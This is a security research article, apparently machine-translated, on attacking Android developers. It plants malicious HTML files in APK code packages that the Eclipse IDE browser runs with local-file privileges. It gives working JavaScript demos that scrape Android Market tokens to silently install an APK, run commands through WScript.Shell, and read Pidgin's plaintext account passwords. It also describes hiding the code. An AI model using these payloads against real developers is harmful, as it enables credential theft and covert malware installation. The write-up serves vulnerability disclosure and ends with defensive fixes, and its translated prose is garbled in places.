Risks arising from the development environment of Android Application Security

By SuperHei_at_www.80vul.com I. Preface in the document "penetration test under WEB2.0" last year, we mentioned that in the 2.0 era, the attack methods of attackers are changed to the target identity of the attack. For developers, security issues in the development environment have been ignored, although such problems have been raised for many years. This article is based on a small issue in the android Development Environment editor... 2. Introduction to the android Development Environment 1. Install JDK: http://www.oracle.com/technetwork/java/javase/downloads/index.html 2. Install Eclipse: http://www.eclipse.org/downloads/ 3. install the ADT plug-in: Open Eclipse, and choose Help ---> install new software --> ADD --> Location: https://dl-ssl.google.com/Android/eclipse/-- > OK 4. Install Android SDK 3. After the vulnerabilities in the Eclipse browser are configured in the preceding environment, the most commonly used IDE is the famous editor Eclipse, I found a small problem during my use of Eclipse, that is, the Eclipse browser directly calls the IE kernel in windows for implementation, WEBKit core browsers are used in non-windows environments. A common problem with such a simple browser is that security defense is weak. Specifically in Eclipse, there is a fatal problem: when a developer clicks an html file, by default, it calls not an editing interface, but a browser to run it! In addition, there is no security prompt to execute javascript code in the html file through file: // pseudo Protocol. As you all know, you can go to file: // executing js in it means a "cross-origin" vulnerability may be .... 4. apk code structure and html file the following is an apk code package I downloaded on the Internet. Its directory structure is as follows: C: \ android \ Test> tree/f folder PATH list C :. │. classpath │. project │ AndroidManifest. xml │ proguard. cfg │ project. properties │ readme.htm │ ├ ── assets │ index.htm │ bin ── bin │ ├ ── classes │ └ ── com │ ─ ── szy │ └ ── test │ MainActivity. class │ ├ ── com │ └ ── szy │ sampled ── test │ MainActivity. class │ Transfer── res transfer ── gen transfer ─res │ export ── drawable-hdpi │ icon.png │ export ── drawable-ldpi │ icon.png │ export ── drawable-mdpi │ icon.png │ yout ── layout │ main. xml │ Sampled-values │ strings. xml │ example-src example-com example-szy example-test MainActivity. java shows two html files in this Code: 1 ,. /readme.htm the readme file mentioned by the author of the commonly used code. 2. The./assets/index.htm res directory and assets Directory are two directories for storing resource files. The difference is that the resource files under the/assets Directory do not automatically generate IDS in R. java. So this two places will be an excellent place for us to place and introduce html files into the evil javascript !! 5. We want to install and execute our malicious apk from a PC to a mobile phone. There are two common methods: 1. When the mobile phone is connected to the PC via USB, use adb shell to control it. 2. log on to market in a pc browser [ https://market.android.com/ . Next, let's take a look at how to implement the above two ways through the Eclipse browser to execute JS: the design of the Eclipse browser on windows and non-windows platforms is different, that determines the different attack methods. A. on the windows platform, the Eclipse browser on the windows platform is based on the IE kernel (Trident). For IE, file: // The javascript code executed under it means that it has the "my computer" Domain permission. Although Microsoft has done a lot of work on IE security, the security of local files is far from enough, at least file: // xmlhttp is completely unprotected ..., in addition, more Microsoft security measures are based on ie, rather than on the ie kernel (Trident). Therefore, the security defense of third-party ie kernel browsers is even weaker. A. Using the market method, the Eclipse browser in windows is implemented based on the IE kernel. For the IE kernel browser, it has a characteristic that Cookie is common, that is to say, after IE logs on to the market, the Eclipse browser is also logged on to the market status. Therefore, we can use the js we inserted to implement cross-market.android.com domain and arbitrary execution of js on the market to download and install malicious apk. Of course, the premise is that you can put your malicious code on the market. If you use your own number, you must at least pay the 25-knife account opening fee to Google, but maybe you can directly use the account of the attacker ?! In addition, your apk needs to be reviewed by google! The so-called "truth is twists and turns, and the future is bright "? :) The process is as follows: attacker --> upload a code package containing malicious Html files ------------ + --------------- + --------------------- + response + --------------- upload a malicious APK to market.android.com | the attacker --> downloads a malicious Html file code package --> open malicious html [JS] in Eclipse browser --> automatically download and install malicious APK through cross-origin to market.android.com --> JS --> Mobile [andoid] In fact, this process is similar to market.android.com the effect of xss attacks, for details, refer to the blog "How I Almost Won Pwn2Own via XSS" [1] of Daniel jonoberheide. The Demo code is as follows: <script> var request = false; if (window. XMLHttpRequest) {request = new XMLHttpRequest (); if (request. overrideMimeType) {request. overrideMimeType ('text/xml');} else if (window. activeXObject) {var versions = ['Microsoft. XMLHTTP ', 'msxml. XMLHTTP ', 'Microsoft. XMLHTTP ', 'msxml2. XMLHTTP.7.0 ', 'msxml2. XMLHTTP.6.0 ', 'msxml2. XMLHTTP.5.0 ', 'msxml2. XMLHTTP.4.0 ', 'msxml2. XMLHTTP.3.0 ', 'msxml2. XMLHTTP ']; for (var I = 0; I <versions. length; I ++) {try {request = new ActiveXObject (versions [I]);} catch (e) {}} xmlhttp = request; var apkid = "com. tencent. qqpimsecure "; xmlhttp. open ("GET "," https://market.android.com/ ", False); xmlhttp. send (null); var ret = xmlhttp. responseText; var regx =/userEmail :'(. *) ', userG/var rs = regx.exe c (ret); var gmail = rs [1]; var regx =/selectedDeviceId :'(. *) ', absoluteBaseUrl/var rs = regx.exe c (ret); var deviceId = rs [1]; var regx =/token :'(. *) ', locale/var rs = regx.exe c (ret); var token = rs [1]; alert ("gmail:" + gmail + "\ n" + "DeviceId: "+ deviceId +" \ n "+" token: "+ token); xmlhttp. open ("POST "," https://market.android.com/ Install ", false); xmlhttp. setRequestHeader (" Referer "," https://market.android.com/ "); Xmlhttp. setRequestHeader ("Content-Type", "application/x-www-form-urlencoded"); xmlhttp. send (unescape ("id =" + apkid + "& offerType = 1 & device =" + deviceId + "& xhr = 1 & token =" + token )); </script> B. Run the adb shell command through WSH In the ie kernel Browser file: // The local file is executed in the "my computer" Domain [without the MOTW sign], but WSH can be executed in the "my computer" domain, there are security tips for executing WSH in IE after many years of patching. However, for some security-conscious developers, it may be easy to click "YES "?!! The Demo code is as follows: <script> new ActiveXObject ("WScript. shell "cmd.run('calc.exe ', 1, true); </script> B. For market channels on non-windows platforms, the Eclipse browser is implemented through webkit, it does not have the same features as IE, so if you want to implement it through market, the precondition is that the browser of Eclipse has logged on to market, or else there is no way. Then webkit does not have direct methods like WSH, So what are our ideas? Like a third-party browser of the IE kernel, the defense of a third party is weak. For example, the Eclipse browser here is also allowed to read local files from xmlhttp. So if there is a file saved by the password of a local google account, we can directly log on to the market after reading the file... everything is possible! The password of the user account stored in Pidgin is saved in plain text ~ In the/. purple/accounts. xml file, as long as attackers use Pidgin to log on to Gtalk, we have a chance !!! For ~ Directory, which is the current user directory. Therefore, you need to know the System user name when using the absolute path. This is not very good, so the workspace directory for Eclipse is also in ~ Directory, then we can use the relative path to read accounts. without knowing the system username, the Demo code is as follows: <script> function XMLHttp () {xmlhttpOK = false; var xmlhttp = null; if (window. XMLHttpRequest) {xmlhttp = new XMLHttpRequest ();} else {if (window. activeXObject) {try {xmlhttp = new ActiveXObject ("Msxml2.XMLHTTP");} catch (e) {xmlhttp = new ActiveXObject ("Microsoft. XMLHTTP ") ;}}return xmlhttp;} var xhr = new XMLHttp (); function postURLRet (url, Data) {if (xhr) {xhr. open ("POST", url, false); xhr. setRequestHeader ('content-type', 'application/x-www-form-urlencoded'); xhr. send (data); return xhr. responseText;} return "";} var ret = postURLRet (".. /.. /.. /. purple/accounts. xml ", null); alert (ret); </script> 6. The code that disappears may be viewed by security-aware developers. For windows platforms, the ie kernel browser supports the classic method of "right-click-> View Source File", which is not supported by webkit on non-windows platforms. You can use the Original Source Forgery method to view the code in this way (see [2]) to make the code disappear ". However, it is worth noting that the original code directly uses ajax ('get', location, function (req ){....} location is directly used in ajax functions, but ie has disabled xmlhttp to request local files, so we can copy your malicious html files to a remote web host, use http or manually write it in the code. However, for Eclipse, html is opened only in a browser by default, that is to say, if other methods (right-click the html file and choose "Open With") have a "Text Editor" method, your code is still at a glance. However, for older versions of Eclipse, the editor has a vulnerability that can hide your code: nullbytes hide code on Eclipse 3.5 by Mario Heiderich [3] VII. The implementation of malicious apk does not mean how to implement a malicious apk, but simply introduces two problems: you installed your apk on the target mobile phone through the market method above, but it will not start your apk immediately, so the first question is how to start your apk: a. This is achieved through the establishment of BroadcastReceiver. The result is that the phone must be restarted. B. Set the android: scheme method, and trigger the scheme passively to enable [for example, sending a url via text message or email, use <iframe src = scheme: // xx> to start the code on the url page.] The second problem is the "malicious apk function". That is to say, the purpose of your control of the target mobile phone is to steal information from Android Malware on the market, in the era of Advanced Persistent Threat, there should be a new explanation of the purpose of mobile device control. In the APT process, mobile devices should be only a small part of the process, that is, a way to bring you into the target network. Therefore, for this purpose, malicious apk development in the future may focus on Automatic Network Scanning attacks in the LAN... 8. The main problems mentioned above are as follows: 1. Eclipse problems: I. html files are opened in a browser by default. Ii. the browser directly runs javascript without a security prompt. 2. Android market does not consider defending against csrf in xss for sensitive operations such as download and installation [such as the verification code method used]. Many people come to the conclusion that users lack security awareness, for the current security concept, our "official" should take into account the lack of security awareness for some users. Therefore, we should consider this situation in our functional or uidesign, minimize "security risks". For example, in terms of how Eclipse processes html files, it can be changed to the editing status by default. In addition, for the Android market, consider the csrf condition when the token is obtained, and set verification codes for risky operations, everything is aimed at "paying for security vulnerabilities without your users". This is king! IX. Refer to [1] http://jon.oberheide.org/blog/2011/03/07/how-i-almost-won-pwn2own-via-xss/ [2] http://www.scriptjunkie.us/2011/09/original-source-forgery/ [3] https://bugs.eclipse.org/bugs/show_bug.cgi?id=283231-EOF-